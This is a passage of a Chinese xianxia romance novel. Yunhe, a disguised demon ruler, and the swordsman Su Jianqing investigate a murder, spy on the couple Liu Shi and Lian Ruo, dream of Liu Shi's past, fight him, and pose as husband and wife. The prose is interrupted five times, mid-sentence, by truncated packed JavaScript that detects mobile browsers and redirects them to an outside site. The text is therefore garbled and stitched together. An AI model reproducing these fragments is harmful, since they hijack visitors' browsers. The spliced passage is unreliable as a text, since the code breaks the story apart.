苏见清迟疑,“阿蕴姑娘认为,此事与封柔姑娘的死,或者说魔修有关吗?” 蕴禾掌心收握,收起鲛珠,“我不知道。但这对夫妻一定不简单。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972280|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏见清唇线平直,想起在莲若身上感受到的气质,他不确定道:“鲛珠的主人,有没有可能是莲姑娘?” “不可能。” 蕴禾斩钉截铁,“鲛珠对鲛人来说何等重要?一旦离体,那鲛人活不过三年。莲若虽柔弱,却不像寿数将尽之人,何况我并未在她身上感受到妖气,不可能是她。” 苏见清轻轻叹了口气,“还是得从封柔姑娘身上下手,不如我们现在去趟城主府?” 蕴禾拒绝,“我不去,要去你自己去。” 她转身进房。 大晚上的不睡觉,往外面跑什么跑? 苏见清无奈,“那阿蕴姑娘,我自己去了。” “赶紧去。” 蕴禾摆手,顺道关了房门。 …… 翌日睡到自然醒,蕴禾伸着懒腰从贝壳床上起身。 奇怪,昨晚回去之后,她竟然没做梦了。 离开客栈,蕴禾随意找了家铺子吃早膳。 叼着鱼饼嚼,目光随意扫过街边来往行人。蕴禾吃着吃着,忽地把饼拿掉,轻轻叹口气。 苏见清不在,她竟然有些不习惯。 蕴禾味同嚼蜡,草草吃了两口,将账结了,施施然去莲若家。 还是上次那片屋顶,她拿出青羽,姿态舒适地躺上去。 今日这夫妻俩待在家中,柳适兴致上来,拉着莲若作画。他的画技很是精湛,寥寥几笔,画中美人活灵活现,与莲若相对而视时,跟照镜子似的。 莲若捧着画,笑得一脸欢喜,凑上去在柳适脸上亲了一下,在丈夫伸手抓她时脚步轻旋,笑着躲开。 夫妻二人你追我赶,笑声充斥着小小院子。 蕴禾跟看戏似的,等两人进屋,她无聊地打了个哈欠。 阳光正好,照在身上暖洋洋的,惹来一阵困意。 蕴禾枕着双臂躺在青羽上,缓缓闭眼。 仿佛只有短短一瞬,蕴禾的意识再度清醒。眉心有轻微痒意传来,她眉头一蹙,挣扎着睁眼。 面如朗月,清淡似风的男子在她上方。 他手里拿着一绺头发,正用发尾轻扫姑娘眉心,见她睁眼,男子勾唇轻笑,似清风吹拂山岚,露出青山苍翠的身影。 “醒了?” 43. 第 43 章 哦,她这是又入梦了。 蕴禾十分平静地想。 她感觉到“自己”起身,扑上去拍打柳适,“你好烦啊!我睡得好好的,你干嘛弄醒我?” 柳适边逃边笑,“我错了,真的错了,小祖宗,你饶了我吧。” 她怒气不散,“说!你还敢不敢这么闹我?” 柳适举手投降,眉眼间皆是笑意,“不敢了,再也不敢了。只是你再睡下去,我们该错过观沧海的年庆了。” “啊!” 她大叫一声,慌乱道:“那你该早点叫我的,快快快,我们赶紧走!” 柳适无奈耸肩,含着笑的眼里流露星点宠溺。 他追上前方慌慌张张的姑娘,“别急,来得及,你慢慢走。” 二人赶在年庆开始之前到达观沧海。 入城的刹那,万千烟花如流星覆盖整座城池,游鱼如流水涌进,在空中摆出数条祝福语。 乐声响起的瞬间,身着华服的姑娘们凭空出现,伴着游鱼翩跹起舞,彩色气泡萦绕周身,鱼儿吻在姑娘脸颊,惹来阵阵笑声。 珊瑚为树,珍珠作星,眼前一幕美得仿佛一幅画。 她一眼不眨地看着,轻声道:“好美,我喜欢这里。” 偏头看向柳适,她笑声清脆,“以后如果要在玄清域选一个地方隐居,我一定会选观沧海。” 柳适惊奇,“这么快就确定了?” “是啊。” “此处是美,可为何非它不可?” 她背着手,歪头看他,“此处有我喜欢的水,喜欢的景,这还不够吗?” 柳适含笑点头,“足够了。” 她笑开,蓦地跑进欢呼雀跃的人群,回身对着柳适招手,“快来,这里好热闹!” 柳适在原地安静地凝视她,清澈眸底倒映着姑娘灿烂的笑容。 他一眼不眨地看了许久,似要从她的外表,看进她的内心。 她疑惑,高声唤她的名字,“柳适,你怎么不动,快过来!” 晚风吹得男子衣袂翩飞,墨发如丝带散开,他脸上笑意如沐春风,忽地用力朝姑娘奔去。 “来了!” “这个灯好漂亮。” “喜欢?我替你买。” “哇,这个好吃,你快尝尝。柳适,你快看那里,好多姑娘。” “好像是有人在作画,去看看?” “好啊。” “他画得好漂亮,那些姑娘看着好高兴,说来,我还没被人画进画里过呢。” “简单,我替你画。” “喏,你看,如何?” “啊啊啊好丑!柳适!你怎么可以把我画成这样!” “千篇一律的漂亮有什么稀奇的,这样才有特色呢。” “柳适!你太过分了!” “错了错了,我错了。你若想要一张漂亮的画,我带你回家,我的……作画……” 二人的声音像被罩上一层结界,离蕴禾越来越远。 她徐徐睁眼。 眼前一张放大版的俊脸关心道:“阿蕴姑娘,你醒了?” 与梦里相似的情景令蕴禾心跳失衡,有片刻的失神。 她怔怔凝着眼前之人,忽地伸手触碰他的侧脸。 苏见清瞳孔放大,瞬间红了脸,“阿、阿蕴姑娘,你、你怎么了?” 哦,是真的苏见清。 蕴禾手贴着苏见清的脸把他推开,伸手抵住额头,闷声道:“我又做梦了。” 苏见清坐在她身边,温声问:“什么梦?” “柳适和那女子共游观沧海的梦。” 蕴禾眯眼盯着下方房屋,“你说,男人的情意当真这么廉价?假如那鲛人当真已香消玉殒,可不过百年罢了,柳适竟另觅新欢,左拥右抱,好不快活。” “如果是你。” 蕴禾偏首望向苏见清,“你的爱侣身陨道消,你会怎么做?” 苏见清转过眸子,清浅眸光落在蕴禾身上,出神一瞬,轻声道:“我若有道侣,定是视她为此生唯一,倘若她不幸身陨,那我就为她守节一辈子。” 蕴禾略有恍神,不满暗瞪苏见清一眼,心中腹诽,这么认真看着她做什么,不知道的还以为他说的道侣是她呢。 她不屑开口,“修士一生何其漫长,感情好时自是各种甜言蜜语,可人若不在了,这孤寂岁月如何度过?难不成只能靠一点稀薄记忆挂念故人?一年两年尚能如此,可百年千年呢?一个个的,不过都是下一个柳适罢了。” 苏见清无声轻笑,并未反驳,“阿蕴姑娘说得是。” 不知道为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982981|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,听到他如此,蕴禾心里仿佛有股气在乱窜。倘若苏见清驳回她的话,她或许还会好受些,偏偏他无比顺从。 可她若是因此发脾气,又显得她喜怒无常,无理取闹。 简直像是一块石子吊在空中,不上不下得惹她心烦。 蕴禾强迫自己转移注意力,“你在城主府可有发现?” 说回正事,苏见清正了脸色,缓缓摇头,“我检查过封柔姑娘的尸体,她的脖颈与手腕皆被利器割破,除此之外身上再无伤势。杀人者身法极快,行事谨慎又大胆,除了那缕魔气,我再无其他发现。” “割喉而亡。” 蕴禾托住下巴,“这么恨封柔,究竟是谁呢?” 目光下扫,莲若与柳适交换位置,女子执笔,含笑勾画对面郎君。 蕴禾眉头轻蹙,“凭直觉来说,我还是觉得这对夫妻的嫌疑最大。” 柳适虽说封柔非他所杀,但此事一定与他有关。 苏见清:“阿蕴姑娘既心存疑虑,不如试探一番?” “如何试探?” …… 夜色无声降临,将整座城池包含在内。 闪烁繁星与皎洁明珠交相辉映,光泽温和明亮。 小院里升起袅袅炊烟,一道温柔女声忽道:“夫君,家里没酒了,你快去买些回来。” 男声疑问:“今夜想喝酒吗?” “哎呀,是我做菜要用的。” 莲若拉起坐在灶膛后的夫君,推着他出门,嗔怪道:“这道菜没酒,滋味可就少了一半,你快去。” 柳适笑着开口,“好,我这就去。” 莲若叮嘱,“一定要快些哦。” 一个好字还未出口,女子已急匆匆折回厨房。 柳适无奈,关好院门,独身离开。 他去最近的酒馆打了酒,拎着酒壶回家。 小巷昏暗,在夜明珠辉映下依稀可看清道路,一道黑影映在墙壁,随着他的脚步挪动。 海风自身后吹来,夹带淡淡的海腥味。 柳适衣摆飞扬,脚步不停。 在观沧海住了这么多年,他早已对这股味道免疫。 只是…… 他忽地转身,目光落在黑暗处,平声问:“阁下跟了我一路,究竟想做什么?” 44. 第 44 章 一道身影在柳适的注视下缓慢出现。 他眉心堆叠,眸底渗出寒光,直直射向对面男子,“你是谁?为何一路跟随?” 苏见清瞥向他腰间玉剑,声如碎雪,“没想到昔日的清风剑柳适,竟龟缩在这观沧海多年。” 柳适目光陡然一厉,“你认得我?” 苏见清:“你腰间玉剑,我碰巧见过。” 柳适目光下移,手掌紧攥一瞬,又缓缓松开,“你既认得我,又一路跟我至此,究竟想做什么?” 苏见清眸光冷冽,“封柔之死,可与你有关?” 柳适眉间微松,“无关。” “撒谎。” 苏见清直直盯着柳适眉心,“封柔姑娘一介凡人,并未与人交恶,唯一的异常便是与你有私下往来,若不是因你之故,她怎会招惹杀身之祸?” 柳适眉眼不动,“我与她不过萍水相逢,她平日里的行径我一无所知,怎能因几分私情便给我定罪?” 他眉尾上挑,眸中溢出讽刺邪肆,“或许,是她自己行为不当,惹出来的祸事?” “你还不承认!” 苏见清大怒,“封柔分明死于魔修之手,柳适,你可是入了魔?!” “什么?” 柳适震住,掌心下意识攥紧,“怎么可能?” 苏见清不再给他反应的机会,祭出长虹,一剑朝柳适刺去。 雪亮剑光映上侧脸,柳适蓦地回神,长指翻飞,快如残影。一道法印自他手中飞出,落到苏见清头顶,刹那间数把白色小剑当头坠下。 苏见清迅速收势,身影如燕避开剑势。 他飞身而上,长虹撞上法印,一剑劈下。 法印晃动两下,稳稳不动。 苏见清锲而不舍,单手结印,灵剑气贯长虹,再度一剑斩下! 法印裂开一道缝隙。 柳适失神凝视苏见清的身法,低声喃喃,“穿云剑法,伏渊剑修……” 他目色渐凝,眸底闪过杀意,双手再度结印,两道法印飞出,一道烈火灼烧,一道清风徐来。 三道法印结成剑阵,刹那间万剑齐发,势将那伏渊剑修斩于阵下。 苏见清意外,视线看过去时,正好看清柳适眉间尚未退散的杀意。 他心中不解,柳适想杀他?为什么? 剑气齐刷刷落下,三种颜色的灵光坠于眼中,苏见清不欲纠缠,拿出蕴禾交予他的青羽,用力一捏。 青光闪烁,下一瞬,剑阵之中已无剑修身影。 剑气湮灭,柳适看着空无一人的巷子,脸色逐渐难看。 竟然跑了。 伏渊的剑修,也不过如此。 结印的双手散开,三道法印逐一消散,柳适面无表情在原地站上片刻,拎着酒壶返回家中。 推开院门的前一刻,他脸上扬起笑,温声唤道:“阿若,我回来……” 话音陡然截住。 院中一道身影徐徐转身,对他温和一笑,“这位便是柳郎君吧?” 方才还与他在巷中交战之人,此刻竟好端端站在他家中。 柳适目露煞气,手指一动,在暴露杀招之前,一道女声懒散唤:“莲姑娘,你家夫君回来了。” “回来了?我的酒呢?” 莲若的身影从厨房内走出,笑盈盈朝柳适迎去,“可算是回来了,就等你的酒呢。” 柳适手松开,露出笑容,目光掠过莲若身后的蕴禾与苏见清,“阿若,他们是?” 莲若笑着为他介绍,“这位是阿蕴姑娘,这是苏见清苏公子,他们夫妻二人准备在观沧海定居,买下了我们隔壁的院子,今日是来串门的。” 柳适笑容微僵,“我们隔壁不是已经有人住了?” 莲若解释,“黄婶子家去年不是迎了儿媳妇进门?今年她添了双孙子,家里住不开,索性将房子卖了,换个大点的住处。” “怎么之前没听你说起?” 莲若笑,“黄婶子搬家匆忙,我也是今日阿蕴姑娘过来串门时才知道的。” 柳适笑意不达眼底,“原来如此。” 莲若拿过他手里酒壶,俏皮眨眼,“你陪阿蕴姑娘和苏公子聊聊,我进去做饭。” 柳适温柔而笑,“好。” 窈窕身影消失,他脸色骤变,眸中渗出寒光,“你们究竟想做什么?” 苏见清温和道:“柳前辈不必如此紧张,我们只是想找出杀害封柔姑娘的魔修。” 柳适勾唇,嘲讽恶意朝着剑修压去,“你这么关心她,不知道的,还以为你是她的姘头。” “你这人不仅说话难听,心思更是龌龊。” 蕴禾冷笑搓着指腹,“还清风剑呢,当真是辱没了此名。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003751|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳适眸中寒芒乍现,轻抬的眸光夹带慑人冷意,垂落身侧的手划出一缕灵气。 苏见清挡在蕴禾身前,“我寻魔修,是为了除魔卫道,与封柔姑娘无关,柳前辈不必过多猜测。” 蕴禾对他的背影无声轻哼,挡上来作甚,本皇还怕一个柳适不成? 柳适分毫不让,手中法印隐隐成型。 “诶,你们站着做什么?” 莲若从厨房门口探出半个身子,嗔怪道:“阿适,你怎么都不知道帮客人们搬个凳子?” 柳适飞快将手收到身后,法印逐渐溃散,笑道:“怪我,我马上就来。” 莲若这才露出笑,略带羞赧道:“二位见谅,我家夫君有些不喜见生人。” 苏见清颔首回复,“是我们冒昧打扰了。” “都是邻居,有什么打扰的。” 莲若笑回:“饭菜快好了,你们先坐吧。” 一刻钟后,四人在院内落座,莲若热情招待二人,“粗茶淡饭的,也不知阿蕴姑娘和苏公子吃不吃得惯。” 蕴禾瞄一眼,有鱼有肉,色香味俱全,实话实说道:“这若是粗茶淡饭,外面的铺子都开不起来了。” 简单一句话听得莲若眉开眼笑,姣美面容萦绕温柔笑意,“阿蕴姑娘可真会说话。” 蕴禾捏着筷子莫名,这还是第一次有人夸她会说话,怪稀奇的嘞。 柳适拉着莲若入座,夹一块肉放在她碗里,温声道:“阿若今日辛苦了。” 莲若轻轻摇头,笑眼弯弯,“有你陪在身边,我不辛苦的。” 柳适笑容微顿,温柔抚摸莲若柔软发顶,轻声细语为她夹菜,极尽体贴。 余光瞄到对面二人,他眼睛微眯,温声道:“二位是夫妻?” “夫妻”二字让苏见清耳根一烫,剥蟹的手险些不稳,见蕴禾没应,赧然含糊应道:“是。” 柳适轻笑一声,“怎么看着不像?” “柳郎君觉得怎样才像夫妻?” 蕴禾抬头,“每个人性子不同,你与莲姑娘成婚多年,自是柔情蜜意恩爱如初。我家见清性子腼腆,不喜在外人面前做出亲密之举,我也不能强求不是?” “不过他素来听我的话,一次两次也没什么大碍,你若想看,我应了便是。” 蕴禾转向苏见清,轻抬下颌,双唇微张,命令道:“喂我。” 45. 第 45 章 早从那句“我家见清”开始,苏见清整个人便已呆滞。 此时听见蕴禾的命令,整张脸庞瞬间爬满红晕,耳根红得滴血,清澈眸光似蒙了层水光,羞赧得似沧海上空瑰丽绚烂的晚霞。 他握紧手里的蟹,好半晌没动静,惹得蕴禾暗暗瞪他一眼。 搞什么,现在拆她台。 莲若见状拍了柳适一下,笑着打圆场,“看你做的好事。阿蕴姑娘,他就是调侃两句,没坏心的。” 蕴禾掌心逐渐收紧,就在眼里怒气快要压抑不住时,苏见清快速将蟹肉喂到她嘴边。 蟹肉入口的刹那,温热指腹落在饱满唇肉上,蕴禾一呆,连肉都忘了吃,唰一下侧头看向苏见清。 他亦是惊呆了,瞳孔微颤,赧然逐渐从脸颊爬至眼中,使得那双凤眸像极了晨间山麓中弥漫的薄雾。 蕴禾杏眼中倒映着苏见清清隽的脸庞,她眼睛微微一弯,快速偏头,将口中蟹肉囫囵嚼两下吞咽,对莲若笑道:“柳郎君的确做了件好事。” 莲若目光在蕴禾与苏见清之间打转,眼里漫上笑意,“是阿适的荣幸。” 蕴禾端起酒杯,“莲姑娘,我敬你一杯。” “好啊。” 这二人相谈甚欢,柳适在一旁时刻注意着妻子的动作,无人理会一旁还未醒过神来的苏见清。 他呆滞地剥着蟹放在蕴禾碗里,余光悄悄瞥向她的方向,不受控制地往下移,落在蕴禾唇瓣上。 下一瞬又慌里慌张移开,努力将注意力放在手中蟹上,可思绪一会儿就不受控制地飘走了。 苏见清轻轻摩挲一下指腹,唇瓣微抿。 好软。 …… 用过晚膳,蕴禾起身告辞。 临走之前,她将礼物送到莲若手里。 “多谢莲姑娘招待,这是谢礼。” 手腕上的温润触感格外清晰,莲若低头,瞧见一只翠绿手镯。 她连忙推拒,“不过一顿饭而已,这也太贵重了。” 蕴禾把她的手摁回去,笑道:“不是什么值钱东西,光好看罢了,莲姑娘拿着吧。” 她拉过苏见清,朝莲若挥手,“再会。” 莲若送二人到门口,看着两道身影消失在隔壁,这才折回去。 柳适正在收拾碗筷,见状问道:“她送了什么?” 莲若抬手,露出葱白手腕上挂着的手镯。指尖拨弄几下,她轻声道:“这位阿蕴姑娘,像是来头不小。” 柳适笑,“管她什么来头,你既喜欢,那便收下。” 莲若露出笑,“好。夫君,我来帮你。” 她走上前,帮柳适将碗叠在一处。 动作间腕上翠绿手镯与瓷碗碰撞,发出清脆的响声。 柳适瞥去一眼,眸光微暗。 隔壁。 进门后,蕴禾抬手布下一道结界,问:“如何?” 苏见清摇头,“柳适的身上并无魔气,不过……” “不过什么?怎么吞吞吐吐的?” 蕴禾白他一眼。 苏见清轻咳一声,不太敢看她,目光偏移,虚虚落在蕴禾肩后半空,“柳适分明是剑修,可我与他一战,却并未见他出剑。” 停顿片刻,他道:“他的路数,倒像是法修。” “法修?” 蕴禾皱眉,“玄清域并非没有剑法双修的例子,难不成是他这百年来转修了术法?” “有这个可能。” 苏见清迟疑,“若柳适并非杀害封柔的凶手,那莲姑娘便有嫌疑了。倘若她发现了丈夫与封柔姑娘的情事,恼怒之下杀人也并无可能。可她怎么看,都像是一介普通女子,怎会和魔修有牵扯?” 蕴禾想得头痛,直接不想了,“明日再探吧,我要休息了。” 转身之际,却见苏见清神色扭捏,似有难言之隐,她好奇,“你还有什么想说的?” 苏见清长睫扑闪,侧眸避开蕴禾清亮好奇的目光,小声道:“为何……要与我夫妻相称?” 就这? 蕴禾理所当然道:“当然是方便啊。” “我与你同住一屋,不说是夫妻,还能是什么?兄妹?姐弟?” 看看自己,又看看苏见清,蕴禾撇嘴,“我俩一看就长得不像。” 微凉夜风吹过,院中枝叶“沙沙”作响,树影斑驳无章,苏见清面上热度退散,双唇抿直,“也可以说是朋友。” “谁家朋友特意买个院子一起住?说出去你信吗?” 蕴禾摆手,“不过一个对外称谓而已,咱们知道是怎么回事不就行了?累死了,我先回去睡了,你也去休息罢。” 院内很快只剩下苏见清一人,他静静站了许久,晚风吹拂碎发,暗淡双眸若隐若现。 回屋后,蕴禾正要躺上床,忽然后知后觉,“他刚才是不是在不高兴?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017807|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她起身开门,脑袋往外一探,院中已不见苏见清的人影。 默默将视线挪向亮着灯的隔壁,蕴禾摸不着头脑。 他为什么不高兴? 心里似有猫爪在挠,挠得蕴禾心痒难耐,很想追过去问个究竟。 脚步刚一挪动,却见隔壁的灯已经熄了。 行吧。 蕴禾不情不愿地缩回脚步。 好奇心没能得到满足,她重重把自己扔回床上,不爽往上吹口气。 都怪苏见清,好端端的有什么不开心的? 闷了一会儿,她强迫自己闭眼。 蕴禾发现自己又入梦了。 她听到自己附身的这具身体说:“阿适,你家里人真的不会不喜欢我吗?” 柳适牵住她的手,柔声说笑,“你这么好,谁会不喜欢你?” 她甩开手,“你烦不烦,我在这儿担心,你倒好,还有心情和我说笑。” “好了好了,别生气。” 柳适连忙去哄,“我与你说过的,我父母早逝,家中唯有一胞弟,留在祖宅由老仆照料。” “我这弟弟身子不好,性子有些古怪,他若是有什么冒犯你的地方,你可千万别和他一般计较,只管来寻我出气。” 她皱着眉,语气夹带怜意,“你弟弟为什么身体不好?” 柳适无奈叹气,“母亲在怀我们时曾受过伤,我出生后身体康健,可他却孱弱无比,想来是那暗伤都落在了他身上,导致他常年缠绵病榻,无法如我一般,修习母亲的剑术。” 她小小“啊”一声,可怜道:“那他岂不是从来没走出过你们的家乡?” “是啊。” “那回去之后。” 她忽然露笑,挽住柳适臂弯,“我们把玄清域各处风景都说给他听,画给他看。” 柳适微怔后露出笑意,“这法子好,不过我的画技不如阿弟,就怕到时贻笑大方。” “你不会画我来就是。” 她笑意盈盈,“我的画可比你的好看。” “那当然。” 二人说说笑笑在一座城池落定,柳适带着她穿柳过桥,在一座老宅前停下。 门前柳树下站着一道身影,柳适欣喜唤他,“阿弟!” 她踮着脚尖好奇张望。 那人转过身来,浓荫之下,清浅眸光轻轻在她身上停留,旋即看向柳适。 “阿兄。” 46. 第 46 章 蕴禾霍然睁眼,身子腾起在半空中翻转一周,避开凭空射来的剑气,跃出窗子,稳稳落在院内。 隔壁的苏见清亦从入定中醒来,快步行到蕴禾身侧。 二人抬头,望向屋檐上的身影。 那人负手而立,衣摆翻飞,墨发飞舞,修长十指快如残影,一道道法印飞出,将小小院子牢牢包围。 苏见清与蕴禾对视一眼,朗声道:“不知柳剑君深夜拜访,有何要事?” 圆月自那人身后升起,皎洁月光照亮男子面容。柳适抬眸,碎发下遍布寒星的眸子冷冷向苏见清投去一眼,手势快速变换,最终定格。 “嗡——” 院中法印齐齐发出震动,下一瞬,铺天盖地的剑雨从四面八方朝二人压来。 苏见清眉头一皱,掌心张阖将长虹握在掌中。 他刚要动,忽地被蕴禾一把拉住。 “……阿蕴姑娘?” 蕴禾最烦被人吵醒,此时戾气深重,恰逢罪魁祸首打上门来,不好好收拾他一顿,简直浪费了这般良机。 她身上妖气暴涨,衣袍无风自动,手握一根翠绿青竹,棍风横扫,法印发出脆响,“噼里啪啦”全部碎裂! 蕴禾飞身而上,一棍朝柳适当头砸下! 柳适法术被打断,体内遭到反噬,嘴角溢出血丝,单手结出结界挡在身前。 眼前的姑娘面无表情,眼底溢出烦躁戾气,看人的目光格外凶戾,与晚间那名带有几分懒散的姑娘截然不同,像是一只被唤醒的凶狠庞大的妖兽。 柳适闷哼一声,鲜血喷涌。 他单手擦去,望着蕴禾的目光渐深,喃喃道:“妖……” 余光落在下方的苏见清身上,柳适嘴角勾起一抹意味深长的笑。 堂堂伏渊仙君,竟与一名妖修以夫妻相称。 可真是……有意思。 眸光一转,柳适眼角泄出邪意,指腹摩挲捻去血渍,缓缓落在腰上。 蕴禾握着青竹的手往下压。 就在这时,一道轻柔的呼唤无比清晰送入众人耳中。 “阿适,你去哪儿了?” “阿适?” 蕴禾眉心微动,望向隔壁院内正在寻找夫君的柔弱女子。 瞪了柳适一眼,她收回青竹。 在她收势的那一刹,柳适的身影原地消失。 “阿适?” 女子的声音里饱含欣喜,“你方才去哪儿了?我醒来时不见你,找了你许久。” 男子嗓音温柔,“是我不对。我半夜醒来见月色甚美,一时看住了。” “你想赏月,为何不叫我?” “扰你睡眠,待你醒来该恼我了。” “我才不会。走吧,我和你一道出去赏月。” “好。” 二人的声音逐渐远去,蕴禾跃下屋檐,莫名道:“他为何要杀我们?” 苏见清摇头,眉心紧皱不放,“我也不知。” 这人真是奇奇怪怪的,一点也不像她梦中如风肆意的柳适。 岁月当真能让一个人发生巨变? 蕴禾懒得想,正要回屋,脚步将将抬起,又重重落下。 看着苏见清,她问:“你方才为何不悦?” 苏见清被问住,“我、我何时不悦?” “回屋之前。”蕴禾笃定,“你定在不悦。” 苏见清哽住,不知该如何与她开口。 偏蕴禾并不想放过他,凑近仔细观察苏见清的表情,眯着眼逼问:“说!” 苏见清喉结滚动,手心发麻,内心反复纠结。 是说,还是不说? 蕴禾:“快说。” 猛地深吸一口气,苏见清攥住衣袖,“是因阿蕴姑娘说,与我夫妻相称,只是图个便利。” 蕴禾不解,“有什么好生气的,这不是事实吗?” 思绪一转,她问:“难不成,你是怪我不经过你同意,在外与你假扮夫妻?” 蕴禾不高兴地鼓起脸颊,“我说都说了,你不高兴就不高兴吧。” 她丢下苏见清,转身就走。 “阿、阿蕴姑娘……” 苏见清不解,怎么就变成了这般?他、他还以为说出来之后,阿蕴姑娘会将他骂一顿。 急忙追上去,苏见清去拉蕴禾手腕,“阿蕴姑娘……” 蕴禾侧身一躲,眨眼之间身影已落在屋内,带着脾气关上门,“困了,我要睡了,别打扰我。” 苏见清无奈又茫然。 这是怎么变成这样的? 屋内的蕴禾气极,将收在储物手链里属于苏见清的东西放出,从里拿了棵灵草,把它当成苏见清,泄愤似的咬在嘴里。 哼,和堂堂妖皇陛下以夫妻相称是什么丢人的事吗? 她都没嫌弃苏见清呢,他竟然敢嫌弃她! 可恶的人修! 蕴禾用力嚼嚼嚼,把灵草咽下去,仍不解气,又取出几颗灵石,将之捏成齑粉抛着玩。 可恶可恶可恶可恶。 可恶哇! …… 翌日,蕴禾推开门时,一眼瞧见院子里忙活的颀长身影。 她板着脸将之无视,昂首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026529|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺胸从他身边走过。 “阿蕴姑娘要去哪儿?” 蕴禾语气恶劣,“你管我。” 苏见清指着厨房,垂着眼睫语气低落,“昨夜惹阿蕴姑娘生气是我不对,我一大早便起来忙活,想给阿蕴姑娘赔罪。阿蕴姑娘一口也不想尝尝吗?” 蕴禾嗅了嗅鼻子,闻到空气中的香味,不争气地咽了口唾沫。 余光瞥着苏见清莹白侧脸,她暗暗咬牙。 这人修从哪儿学来的做派,这样就想拿捏她? 做梦去吧。 她哼一声,目不斜视往前迈一步。 苏见清:“我还做了许多糕点,原以为阿蕴姑娘会喜欢……” 剩下的一步无论如何也迈不下去,蕴禾喉咙滚动,大气地想着。 算了,妖皇陛下大人有大量,不和一个小小人修一般见识。 她遽然转身,闪身到石桌旁坐下,两只乌溜溜的大眼睛盯向苏见清,“还不快把东西都呈上来?” “是。” 苏见清转身去端盘子,凤眼里闪过笑意。 阿蕴姑娘,当真和云团一样好哄。 片刻后,蕴禾心满意足地吃上早膳。 她一手拿一块糕点,咬一口这个,又尝尝那块,吃得好不高兴。 苏见清给她倒水,轻声细语道:“吃慢些。” 等蕴禾吃得差不多了,他犹豫半晌,拿出早已准备好的东西。 “这个送给阿蕴姑娘。” 蕴禾叼着桃花糕往下瞟一眼。 石桌上躺着一只食铁兽玩偶。材质很眼熟,似乎是由碧落潮边上的石头做的。 那食铁兽做得惟妙惟肖,像极了她的原形。 把糕点咽下,蕴禾拿起食铁兽玩偶,“为何送我这个?” 苏见清轻轻勾唇,眼带温柔,“云团是我的家人,阿蕴姑娘是我……朋友,我一时兴起做了此物,想让阿蕴姑娘也看看它。” 掌心触感温润,有些像玉石,蕴禾打量着它,中肯道:“可爱。” 苏见清轻笑,“阿蕴姑娘喜欢?” 蕴禾不假思索,“当然。” 她自己的原形,怎么能不喜欢。 “若是有机会……” 苏见清的话音骤然顿住。 阿蕴姑娘是妖修,师尊向来不喜妖族,她若是上伏渊被师尊发现…… “你说什么? 蕴禾没听清。 “没什么。” 苏见清摇头,语气温和,“今日还去隔壁吗?” 蕴禾收下食铁兽,“当然要去。” 47. 第 47 章 用完早膳,蕴禾与苏见清一道去了隔壁。 “谁呀?” 隔着门,莲若略显闷厚的嗓音响起,“嘎吱”一声,她推开门,惊喜道:“阿蕴姑娘,苏公子,快请进。” “莲姑娘,叨扰了。” 蕴禾二人入内。 “岂会叨扰,有人陪我说话,我高兴还来不及呢。” 莲若弯着眼笑,温婉清丽中透出俏皮。 蕴禾目光扫视,问道:“柳郎君今日不在?” 莲若摇头,“他出门去了。” 蕴禾挑眉,“一大早就出门了?” “他在外找了份活计,忙碌时常常见不到人影的。” 蕴禾了然颔首,看向院中木盆,“莲姑娘这是在做什么?” 莲若笑道:“今日天气不错,我想着把桌椅搬出来清洗干净,避免发霉。” 苏见清:“我帮莲姑娘。” “不用不用,我自己能行。”莲若急忙拒绝,“哪能让客人动手呢?” “没事。” 蕴禾摆手,“他闲着也是闲着,不如帮莲姑娘做点事。” 